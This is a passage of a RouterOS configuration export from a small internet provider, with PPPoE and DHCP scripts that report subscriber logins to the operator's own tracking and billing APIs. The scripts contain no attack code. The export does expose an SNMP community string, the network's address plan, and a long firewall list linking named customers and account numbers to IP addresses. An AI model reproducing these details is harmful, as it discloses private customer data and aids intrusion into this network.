d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" remote-address=verona-cgnat remote-ipv6-prefix-pool=verona-v6-pd-pool \
use-upnp=no
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.250 \
idle-timeout=1h local-address=100.64.15.253 name=pppoe-altoga on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" remote-address=altoga-cgnat use-upnp=no
/queue type
add kind=fq-codel name=FQ_Codel
/queue interface
set ether1 queue=FQ_Codel
set ether2 queue=FQ_Codel
set ether3-climax-11ghz queue=FQ_Codel
set ether4-verona-tower queue=FQ_Codel
set ether5 queue=FQ_Codel
set ether6-switch queue=FQ_Codel
set ether7 queue=FQ_Codel
set ether8 queue=FQ_Codel
set ether9 queue=FQ_Codel
set ether10-powerswitch queue=FQ_Codel
set ether11 queue=FQ_Codel
set ether12 queue=FQ_Codel
set ether13 queue=FQ_Codel
set ether14 queue=FQ_Codel
set ether15_wave_n queue=FQ_Codel
set ether16 queue=FQ_Codel
set sfp-sfpplus1-verona-tower-switch queue=FQ_Codel
set sfp-sfpplus2-switch queue=FQ_Codel
/routing bgp template
set default disabled=no output.network=bgp-networks
/routing id
add disabled=no id=10.254.254.101 name=id-1 select-dynamic-id=""
/routing ospf instance
add disabled=no in-filter-chain=ospf-in name=default-v2 originate-default=\
never out-filter-chain=ospf-out redistribute=connected router-id=id-1
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
ospf-out router-id=id-1 version=3
/routing ospf area
add disabled=no instance=default-v2 name=backbone-v2
add disabled=no instance=default-v3 name=backbone-v3
/snmp community
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
kdyyJrT0Mm
/system logging action
set 3 remote=204.110.191.208 src-address=10.254.254.101
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
10.254.254.101 target=remote
/interface bridge port
add bridge=verona ingress-filtering=no interface=ether6-switch \
internal-path-cost=10 path-cost=10
add bridge=verona interface=sfp-sfpplus2-switch internal-path-cost=10 \
path-cost=10
add bridge=verona interface=ether15_wave_n internal-path-cost=10 path-cost=10
add bridge=cpe_vlan_10 interface=vlan_10_ether6 internal-path-cost=10 \
path-cost=10
add bridge=cpe_vlan_10 interface=vlan10_sfpplus2 internal-path-cost=10 \
path-cost=10
add bridge=*1F interface=*23 internal-path-cost=10 path-cost=10
add bridge=cpe_vlan_10 interface=vlan10_ether15
add bridge=cpe_vlan_10 interface=ether10-powerswitch
/ip firewall connection tracking
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
tcp-time-wait-timeout=2m udp-stream-timeout=2m
/ip neighbor discovery-settings
set discover-interface-list=!dynamic
/ip settings
set tcp-syncookies=yes
/interface pppoe-server server
add default-profile=pppoe-verona disabled=no interface=verona max-mru=1500 \
max-mtu=1500 one-session-per-host=yes service-name=verona
add default-profile=pppoe-altoga disabled=no interface=vlan_19_ether6 \
max-mru=1500 max-mtu=1500 one-session-per-host=yes service-name=altoga
add authentication=mschap2 default-profile=pppoe-verona interface=ether1 \
max-mru=1492 max-mtu=1492 one-session-per-host=yes service-name=\
veronatest
/ip address
add address=10.250.1.25/29 interface=ether3-climax-11ghz network=10.250.1.24
add address=10.254.254.101 interface=lo network=10.254.254.101
add address=100.64.3.254/22 interface=verona network=100.64.0.0
add address=204.110.188.254/27 interface=verona network=204.110.188.224
add address=100.64.15.254/22 interface=ether6-switch network=100.64.12.0
add address=10.10.95.254/20 interface=vlan_10_ether6 network=10.10.80.0
add address=10.10.15.254/20 interface=vlan_10_ether6 network=10.10.0.0
add address=10.0.101.254/24 interface=sfp-sfpplus1-verona-tower-switch \
network=10.0.101.0
add address=10.250.1.145/29 interface=ether6-switch network=10.250.1.144
add address=204.110.191.30/27 interface=vlan9_sfpplus1 network=204.110.191.0
add address=10.25.1.254/24 interface=ether1 network=10.25.1.0
/ip dhcp-server
add add-arp=yes address-pool=verona-cpe authoritative=after-2sec-delay \
dhcp-option-set=vntx interface=cpe_vlan_10 lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=verona-cpe use-radius=accounting
/ip dhcp-server config
set interim-update=5m
/ip dhcp-server lease
add address=10.0.101.2 mac-address=94:C6:91:14:84:44 server=verona-tower
add address=10.0.101.4 mac-address=94:C6:91:A1:FE:15 server=verona-tower
add address=10.0.101.6 mac-address=00:00:00:00:00:01 server=verona-tower
add address=10.0.101.11 client-id=1:58:8a:5a:ef:f:a0 comment="temp exclusion" \
mac-address=58:8A:5A:EF:0F:AA server=verona-tower
add address=10.0.101.8 comment="exclusion for dell server" mac-address=\
00:00:00:00:00:08 server=verona-tower
add address=10.0.101.7 client-id=1:dc:2c:6e:dd:87:54 mac-address=\
DC:2C:6E:DD:87:54 server=verona-tower
add address=100.64.3.250 client-id=1:48:a9:8a:9d:9b:8a mac-address=\
48:A9:8A:9D:9B:8A server="verona cgnat"
add address=10.0.101.253 client-id=1:c4:ad:34:1a:ca:96 disabled=yes \
mac-address=C4:AD:34:1A:CA:96 server=verona-tower
add address=10.0.101.253 client-id=1:c4:ad:34:1a:ca:98 disabled=yes \
mac-address=C4:AD:34:1A:CA:98 server=verona-tower
add address=10.0.101.12 client-id=1:c4:ad:34:1a:ca:96 mac-address=\
C4:AD:34:1A:CA:96 server=verona-tower
add address=10.0.101.22 client-id=\
ff:d8:13:97:9e:0:1:0:1:30:63:25:c7:e0:51:d8:13:97:9e mac-address=\
E0:51:D8:13:97:9E server=verona-tower
add address=10.0.101.21 client-id=\
ff:d8:13:36:6d:0:1:0:1:30:72:cb:b2:e0:51:d8:13:36:6d mac-address=\
E0:51:D8:13:36:6D server=verona-tower
/ip dhcp-server network
add address=10.0.101.0/24 dns-server=204.110.191.240,204.110.191.250 gateway=\
10.0.101.254 ntp-server=204.110.191.19
add address=10.10.0.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.10.15.254 ntp-server=204.110.191.19
add address=10.10.80.0/20 dns-server=204.110.191.240,204.110.191.250 domain=\
vntx.net gateway=10.10.95.254 ntp-server=204.110.191.19
add address=100.64.0.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.3.254 ntp-server=204.110.191.19
add address=100.64.12.0/22 dns-server=204.110.191.240,204.110.191.250 domain=\
vntx.net gateway=100.64.15.254 ntp-server=204.110.191.19
add address=192.168.99.0/24 dns-server=204.110.191.240,204.110.191.250 \
gateway=192.168.99.254
add address=204.110.188.224/27 dns-server=204.110.191.240,204.110.191.250 \
domain=vntx.net gateway=204.110.188.254 ntp-server=204.110.191.19
/ip dhcp-server option sets
add name=vntx options=*1
/ip dns
set servers=9.9.9.9,1.1.1.1
/ip firewall address-list
add address=204.110.188.225 comment="Graham McIntire (1)" list=VeronaEmployee
add address=204.110.188.231 comment="James Hardin (1475)" list=VeronaEmployee
add address=100.64.0.38 comment="Brad Wilson (1491)" list=VeronaEmployee
add address=100.64.0.62 comment="James Hardin (1475)" list=VeronaEmployee
add address=100.64.0.19 comment="TJ Banschbach (1676)" list=50
add address=100.64.0.8 comment="Alma Acosta (28)" list=ResidentialBasic
add address=100.64.0.31 comment="Scott Armstrong (315)" list=ResidentialBasic
add address=100.64.0.29 comment="Beverly Erwin (48)" list=ResidentialBasic
add address=100.64.0.18 comment="Karen Stewart (2050)" list=ResidentialBasic
add address=100.64.0.17 comment="Nathan McTee (273)" list=ResidentialBasic
add address=100.64.0.16 comment="Doug Stowe (1807)" list=ResidentialBasic
add address=100.64.0.45 comment="Debra Vega (112)" list=ResidentialBasic
add address=100.64.0.50 comment="Steven Spurgers (1211)" list=\
ResidentialBasic
add address=100.64.0.46 comment="Chrissy Eagle 2 (1530)" list=\
ResidentialBasic
add address=100.64.0.22 comment="Steve Christiaens (329)" list=\
ResidentialBasic
add address=100.64.0.23 comment="Ryan McTee (306)" list=ResidentialBasic
add address=100.64.0.9 comment="Krysta Bates (218)" list=ResidentialBasic
add address=10.10.0.63 comment="Alicia Torres (1938)" list=ResidentialBasic
add address=10.10.0.47 comment="Alma Acosta (28)" list=ResidentialBasic
add address=10.10.0.17 comment="Judy Devine (277)" list=ResidentialBasic
add address=10.10.0.24 comment="Scott Armstrong (315)" list=ResidentialBasic
add address=100.64.0.14 comment="Teresa Robinson (376)" list=BusinessBasic
add address=10.10.0.59 comment="Teresa Robinson (376)" list=BusinessBasic
add address=204.110.188.226 comment="James Genneken (160)" list=\
ResidentialAdvanced
add address=204.110.188.233 comment="Joey Whitfield (187)" list=\
ResidentialAdvanced
add address=204.110.188.229 comment="Vance Peltonen (356)" list=\
ResidentialAdvanced
add address=204.110.188.234 comment="Sonya McTee (324)" list=\
ResidentialAdvanced
add address=204.110.188.235 comment="Austin Watkins (769)" list=\
ResidentialAdvanced
add address=100.64.0.48 comment="Pablo Hernandez (2083)" list=\
ResidentialAdvanced
add address=204.110.188.237 comment="Ron Lewis (302)" list=\
ResidentialAdvanced
add address=100.64.0.39 comment="Dana Nance (89)" list=ResidentialAdvanced
add address=100.64.0.30 comment="Chand Parvathaneni (2396)" list=\
ResidentialAdvanced
add address=100.64.0.28 comment="Mark Fisher (242)" list=ResidentialAdvanced
add address=100.64.0.13 comment="CLAY GILBERT (1839)" list=\
ResidentialAdvanced
add address=100.64.0.2 comment="JoleneDon Nance (118)" list=\
ResidentialAdvanced
add address=100.64.0.44 comment="Brad Sherry Slate (1334)" list=\
ResidentialAdvanced
add address=100.64.0.47 comment="Eric Barrett (2386)" list=\
ResidentialAdvanced
add address=100.64.0.49 comment="David Lanman (2486)" list=\
ResidentialAdvanced
add address=100.64.0.37 comment="Rebekah Moore (386)" list=\
ResidentialAdvanced
add address=100.64.0.69 comment="Yolanda Medrano (2461)" list=\
ResidentialAdvanced
add address=100.64.0.6 comment="Jennifer Little (1343)" list=\
ResidentialAdvanced
add address=100.64.0.5 comment="Amber Krings (1273)" list=ResidentialAdvanced
add address=100.64.0.4 comment="Cherie Eshelman (1153)" list=\
ResidentialAdvanced
add address=100.64.0.61 comment="Rachel Fuller (286)" list=\
ResidentialAdvanced
add address=100.64.0.25 comment="Maria Trejo (2284)" list=ResidentialAdvanced
add address=100.64.0.7 comment="Carla Kimberling (1959)" list=\
ResidentialAdvanced
add address=100.64.0.33 comment="Carmen Lopez (2409)" list=\
ResidentialAdvanced
add address=100.64.0.51 comment="Kimberly Richards (1726)" list=\
ResidentialAdvanced
add address=100.64.0.21 comment="Jacqueline Wilder (892)" list=\
ResidentialAdvanced
add address=100.64.0.3 comment="Derek Rodriguez (2402)" list=\
ResidentialAdvanced
add address=100.64.0.52 comment="Jonny Taylor (190)" list=ResidentialAdvanced
add address=204.110.188.236 comment="Deja Dodson (2320)" list=\
ResidentialAdvanced
add address=10.10.0.6 comment="Pablo Hernandez (2083)" list=\
ResidentialAdvanced
add address=10.10.0.49 comment="Cherie Eshelman (1153)" list=\
ResidentialAdvanced
add address=10.10.0.54 comment="Jennifer Little (1343)" list=\
ResidentialAdvanced
add address=10.10.0.58 comment="Rebekah Moore (386)" list=ResidentialAdvanced
add address=10.10.0.70 comment="Vance Peltonen (356)" list=\
ResidentialAdvanced
add address=10.10.0.62 comment="Carla Kimberling (1959)" list=\
ResidentialAdvanced
add address=10.10.0.25 comment="Yolanda Medrano (2461)" list=\
ResidentialAdvanced
add address=10.10.0.15 comment="Maria Trejo (2284)" list=ResidentialAdvanced
add address=10.10.0.69 comment="Rachel Fuller (286)" list=ResidentialAdvanced
add address=10.10.0.73 comment="Carmen Lopez (2409)" list=ResidentialAdvanced
add address=10.10.0.68 comment="Amber Krings (1273)" list=ResidentialAdvanced
add address=10.10.0.91 comment="Anthony Schmoker (1577)" list=\
ResidentialAdvanced
add address=204.110.188.226 comment="James Genneken (160)" list=Inactive
add address=204.110.188.227 comment="Mike Villa (269)" list=Inactive
add address=204.110.188.232 comment="Tammy Kinser (738)" list=Inactive
add address=204.110.188.234 comment="Sonya McTee (324)" list=Inactive
add address=100.64.0.23 comment="Ryan McTee (306)" list=Inactive
add address=10.10.0.91 comment="Anthony Schmoker (1577)" list=Inactive
add address=100.64.0.60 comment="Allen Taylor (26)" list=BusinessUltra
add address=204.110.188.230 comment="Kirk Vanmeter (216)" list=BusinessUltra
add address=10.10.0.64 comment="Allen Taylor (26)" list=BusinessUltra
add address=100.64.0.12 comment="Penney Warner (70)" list=\
ResidentialBasic6months
add address=100.64.0.40 comment="Chrissy Eagle (74)" list=\
ResidentialBasic6months
add address=100.64.0.41 comment="Keith Crank (209)" list=\
ResidentialBasic6months
add address=100.64.0.36 comment="Mary Hopper (245)" list=\
ResidentialBasic6months
add address=100.64.0.32 comment="Michael Talbot (262)" list=\
ResidentialBasic6months
add address=100.64.0.27 comment="Whitey White (303)" list=\
ResidentialBasic6months
add address=100.64.0.1 comment="Sherrye Richardson (321)" list=\
ResidentialBasic6months
add address=10.10.0.75 comment="Mary Hopper (245)" list=\
ResidentialBasic6months
add address=100.64.0.26 comment="Sri Reddy (514)" list=ResidentialCore
add address=204.110.188.225 comment="Graham McIntire (1)" list=Active
add address=204.110.188.230 comment="Kirk Vanmeter (216)" list=Active
add address=204.110.188.233 comment="Joey Whitfield (187)" list=Active
add address=204.110.188.229 comment="Vance Peltonen (356)" list=Active
add address=204.110.188.231 comment="James Hardin (1475)" list=Active
add address=100.64.0.53 comment="William Armstrong (362)" list=Active
add address=204.110.188.235 comment="Austin Watkins (769)" list=Active
add address=100.64.0.48 comment="Pablo Hernandez (2083)" list=Active
add address=204.110.188.237 comment="Ron Lewis (302)" list=Active
add address=100.64.0.8 comment="Alma Acosta (28)" list=Active
add address=100.64.0.41 comment="Keith Crank (209)" list=Active
add address=100.64.0.39 comment="Dana Nance (89)" list=Active
add address=100.64.0.36 comment="Mary Hopper (245)" list=Active
add address=100.64.0.32 comment="Michael Talbot (262)" list=Active
add address=100.64.0.31 comment="Scott Armstrong (315)" list=Active
add address=100.64.0.30 comment="Chand Parvathaneni (2396)" list=Active
add address=100.64.0.29 comment="Beverly Erwin (48)" list=Active
add address=100.64.0.28 comment="Mark Fisher (242)" list=Active
add address=100.64.0.20 comment="Pam Banschbach (383)" list=Active
add address=100.64.0.18 comment="Karen Stewart (2050)" list=Active
add address=100.64.0.17 comment="Nathan McTee (273)" list=Active
add address=100.64.0.16 comment="Doug Stowe (1807)" list=Active
add address=100.64.0.13 comment="CLAY GILBERT (1839)" list=Active
add address=100.64.0.12 comment="Penney Warner (70)" list=Active
add address=100.64.0.2 comment="JoleneDon Nance (118)" list=Active
add address=100.64.0.44 comment="Brad Sherry Slate (1334)" list=Active
add address=100.64.0.45 comment="Debra Vega (112)" list=Active
add address=100.64.0.47 comment="Eric Barrett (2386)" list=Active
add address=100.64.0.49 comment="David Lanman (2486)" list=Active
add address=100.64.0.26 comment="Sri Reddy (514)" list=Active
add address=100.64.0.50 comment="Steven Spurgers (1211)" list=Active
add address=100.64.0.37 comment="Rebekah Moore (386)" list=Active
add address=100.64.0.14 comment="Teresa Robinson (376)" list=Active
add address=100.64.0.69 comment="Yolanda Medrano (2461)" list=Active
add address=100.64.0.6 comment="Jennifer Little (1343)" list=Active
add address=100.64.0.5 comment="Amber Krings (1273)" list=Active
add address=100.64.0.4 comment="Cherie Eshelman (1153)" list=Active
add address=100.64.0.61 comment="Rachel Fuller (286)" list=Active
add address=100.64.0.25 comment="Maria Trejo (2284)" list=Active
add address=100.64.0.7 comment="Carla Kimberling (1959)" list=Active
add address=100.64.0.60 comment="Allen Taylor (26)" list=Active
add address=100.64.0.33 comment="Carmen Lopez (2409)" list=Active
add address=100.64.0.46 comment="Chrissy Eagle 2 (1530)" list=Active
add address=100.64.0.22 comment="Steve Christiaens (329)" list=Active
add address=100.64.0.1 comment="Sherrye Richardson (321)" list=Active
add address=100.64.0.51 comment="Kimberly Richards (1726)" list=Active
add address=100.64.0.21 comment="Jacqueline Wilder (892)" list=Active
add address=100.64.0.38 comment="Brad Wilson (1491)" list=Active
add address=100.64.0.3 comment="Derek Rodriguez (2402)" list=Active
add address=100.64.0.27 comment="Whitey White (303)" list=Active
add address=100.64.0.9 comment="Krysta Bates (218)" list=Active
add address=100.64.0.52 comment="Jonny Taylor (190)" list=Active
add address=100.64.0.40 comment="Chrissy Eagle (74)" list=Active
add address=204.110.188.236 comment="Deja Dodson (2320)" list=Active
add address=100.64.0.19 comment="TJ Banschbach (1676)" list=Active
add address=10.10.0.63 comment="Alicia Torres (1938)" list=Active
add address=10.10.0.6 comment="Pablo Hernandez (2083)" list=Active
add address=10.10.0.49 comment="Cherie Eshelman (1153)" list=Active
add address=10.10.0.59 comment="Teresa Robinson (376)" list=Active
add address=10.10.0.47 comment="Alma Acosta (28)" list=Active
add address=10.10.0.17 comment="Judy Devine (277)" list=Active
add address=10.10.0.75 comment="Mary Hopper (245)" list=Active
add address=10.10.0.54 comment="Jennifer Little (1343)" list=Active
add address=10.10.0.58 comment="Rebekah Moore (386)" list=Active
add address=10.10.0.70 comment="Vance Peltonen (356)" list=Active
add address=10.10.0.62 comment="Carla Kimberling (1959)" list=Active
add address=10.10.0.25 comment="Yolanda Medrano (2461)" list=Active
add address=10.10.0.15 comment="Maria Trejo (2284)" list=Active
add address=10.10.0.69 comment="Rachel Fuller (286)" list=Active
add address=10.10.0.73 comment="Carmen Lopez (2409)" list=Active
add address=10.10.0.68 comment="Amber Krings (1273)" list=Active
add address=10.10.0.24 comment="Scott Armstrong (315)" list=Active
add address=10.10.0.64 comment="Allen Taylor (26)" list=Active
add address=100.64.0.62 comment="James Hardin (1475)" list=Active
add address=100.64.0.34 comment="America Trejo (1693)" list=\
ResidentialAdvanced
add address=100.64.0.34 comment="America Trejo (1693)" list=Active
add address=100.64.0.15 comment="Bill McTee (373)" list=Active
add address=100.64.0.35 comment="Judy Devine (277)" list=ResidentialBasic
add address=100.64.0.35 comment="Judy Devine (277)" list=Active
/ip firewall filter
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether3-climax-11ghz
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether3-climax-11ghz
add action=passthrough chain=unused-hs-chain comment=\
"place hotspot rules here" disabled=yes
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
add action=fasttrack-connection chain=forward connection-state=\
established,related
add action=fasttrack-connection chain=forward connection-state=new
/ip firewall nat
add action=passthrough chain=unused-hs-chain comment=\
"place hotspot rules here" disabled=yes
add action=masquerade chain=srcnat out-interface=vlan9_sfpplus1 src-address=\
100.64.0.0/22
/ip hotspot ip-binding
add address=10.250.1.146 type=bypassed
add mac-address=48:A9:8A:9D:9B:8A type=bypassed
add address=204.110.188.224/27 type=bypassed
add address=100.64.0.70 disabled=yes mac-address=5C:62:8B:10:0D:5F server=\
hotspot1 to-address=100.64.0.70 type=bypassed
add address=0.0.0.0/0 disabled=yes
add address=100.64.0.0/22
add address=204.110.188.0/22
add address=100.64.0.70 comment="test router" disabled=yes mac-address=\
5C:62:8B:10:0D:5F server=hotspot1 to-address=100.64.0.70 type=bypassed
add address=0.0.0.0/0 type=blocked
add address=204.110.191.0/27 comment="graham home /27" type=bypassed
/ip hotspot walled-garden
add dst-host=use1-tauc-mqtt-broker.tplinkcloud.com server=hotspot1
add dst-host=*tplinknbu.com server=hotspot1
add dst-host=*tplinkcloud.com server=hotspot1
add dst-host=*tp-link.com server=hotspot1
add dst-host=vntx.unmsapp.com server=hotspot1
add dst-port=123
add dst-port=8883
add comment="place hotspot rules here" disabled=yes
/ip hotspot walled-garden ip
add action=accept disabled=no dst-address=204.110.191.240 !dst-address-list \
!dst-port !protocol !src-address !src-address-list
add action=accept disabled=no dst-address=204.110.191.250 !dst-address-list \
!dst-port !protocol !src-address !src-address-list
add action=accept disabled=no !dst-address !dst-address-list dst-port=8883 \
protocol=tcp !src-address !src-address-list
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
sha256
/ip proxy
set port=23435
/ip proxy access
